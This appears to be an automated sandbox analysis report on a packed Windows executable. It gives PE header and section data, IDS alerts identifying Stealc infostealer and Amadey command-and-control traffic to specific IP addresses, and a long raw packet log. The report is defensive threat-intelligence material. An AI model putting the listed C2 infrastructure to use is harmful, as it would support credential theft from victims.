File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa82000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F99C0B020AAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	59746bd8b46068d483fdc199f51361ee	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	5f5554723aaa178362120898b896e696	False	0.583984375	data	4.517418580949311	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29d000	0x200	e9a0de7aba7da9235eb1de3aed4f34b0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qrmcidjs	0x4e9000	0x198000	0x197400	911cef42b165800c627cfff73d5fac8d	False	0.9946154178176796	data	7.9537766387505355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ltolhlcg	0x681000	0x1000	0x400	15445c703125c89ff988e6f64fe60981	False	0.7919921875	data	6.178393309452514	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x682000	0x3000	0x2200	766b9a0eae6ff58507ec0d50a5434720	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6800f4	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-22T00:11:22.803800+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T00:11:23.282939+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T00:11:23.407337+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-22T00:11:23.745707+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T00:11:23.867054+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-22T00:11:25.196239+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T00:11:25.922462+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-22T00:11:48.966384+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:50.952656+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:52.340704+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:53.534168+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:57.137682+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:11:58.255051+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49788	185.215.113.206	80	TCP
2024-11-22T00:12:04.091222+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49919	185.215.113.16	80	TCP
2024-11-22T00:13:05.279721+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	50080	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 00:11:10.675293922 CET	49675	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:10.675322056 CET	49674	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:10.816042900 CET	49673	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:20.284548998 CET	49675	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:20.284576893 CET	49674	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:20.425180912 CET	49673	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:20.832333088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:20.948467970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:20.948586941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:20.948908091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:21.071360111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:21.283061028 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:21.283102989 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:21.283229113 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:21.283605099 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:21.283621073 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:22.334830046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:22.334920883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:22.338792086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:22.456787109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:22.803735018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:22.803800106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:22.831222057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:22.934075117 CET	443	49703	23.1.237.91	192.168.2.5
Nov 22, 2024 00:11:22.934185982 CET	49703	443	192.168.2.5	23.1.237.91
Nov 22, 2024 00:11:22.948401928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.146568060 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.146703959 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.242243052 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.242274046 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.243510008 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.263463020 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.282871008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.282929897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.282938957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.282980919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.284759045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.311336994 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.407336950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.644135952 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.644202948 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.644243956 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.644289970 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.644308090 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.644387960 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.644387960 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.745635033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.745699883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.745707035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.745737076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.745759964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.745789051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.745825052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.745862007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.745877028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.745898008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.745913982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.745945930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.748342991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:23.839293003 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.839380026 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.839433908 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.839453936 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.839466095 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.839613914 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.867053986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:23.892230034 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.892256021 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.892330885 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.892343998 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:23.892370939 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:23.892399073 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.035027981 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.035053015 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.035159111 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.035176992 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.035259008 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.060265064 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.060312986 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.060401917 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.060411930 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.060472965 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.060472965 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.080682039 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.080703974 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.080812931 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.080823898 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.080902100 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.101180077 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.101214886 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.101315975 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.101324081 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.101337910 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.101402998 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.200083017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.200205088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:24.217717886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:24.217758894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:24.235698938 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.235728025 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.235811949 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.235822916 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.235884905 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.251373053 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.251398087 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.251514912 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.251524925 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.251604080 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.265038013 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.265084982 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.265192032 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.265192032 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.265202045 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.265271902 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.280906916 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.280927896 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.281042099 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.281052113 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.281127930 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.296737909 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.296757936 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.296840906 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.296850920 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.296930075 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.311628103 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.311650038 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.311780930 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.311793089 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.312088013 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.318273067 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.318388939 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.318403959 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.318505049 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.318505049 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.318505049 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.318530083 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.332638979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.338325024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.338726044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.338778019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.338866949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.338917971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.338993073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:24.380295992 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.380333900 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.380419016 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381069899 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381110907 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.381195068 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381340027 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381361961 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.381465912 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381984949 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381983995 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.381998062 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.382045031 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.382112980 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382175922 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382186890 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.382273912 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382287979 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.382461071 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382473946 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.382524014 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382534027 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.382589102 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382685900 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.382708073 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:24.628353119 CET	49705	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:24.628384113 CET	443	49705	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:25.196070910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.196238995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.471688986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.590956926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.922346115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.922368050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.922461987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.926461935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.926525116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.927355051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.927413940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.927458048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.927506924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.935719967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.935734034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.935798883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.943999052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.944068909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.944130898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.944232941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.952406883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.952469110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.952513933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.952568054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:25.960732937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:25.960823059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.052021980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.052167892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.052212000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.052248955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.056232929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.056353092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.057676077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.057745934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.057812929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.057869911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.066009045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.066088915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.066118002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.066287041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.074426889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.074498892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.074579000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.074652910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.094918013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.094979048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.124172926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.124268055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.124295950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.124344110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.128340006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.128401041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.128498077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.128657103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.136672974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.136687994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.136776924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.145026922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.145098925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.145142078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.145201921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.153471947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.153486013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.153561115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.155813932 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.156716108 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.156728029 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.157267094 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.157275915 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.161720037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.161811113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.161844015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.161901951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.170078993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.170130968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.170146942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.170181036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.174156904 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.174160957 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.174650908 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.174671888 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.174700022 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.174710989 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.175020933 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.175026894 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.175220966 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.175225973 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.181643963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.181675911 CET	80	49704	185.215.113.206	192.168.2.5
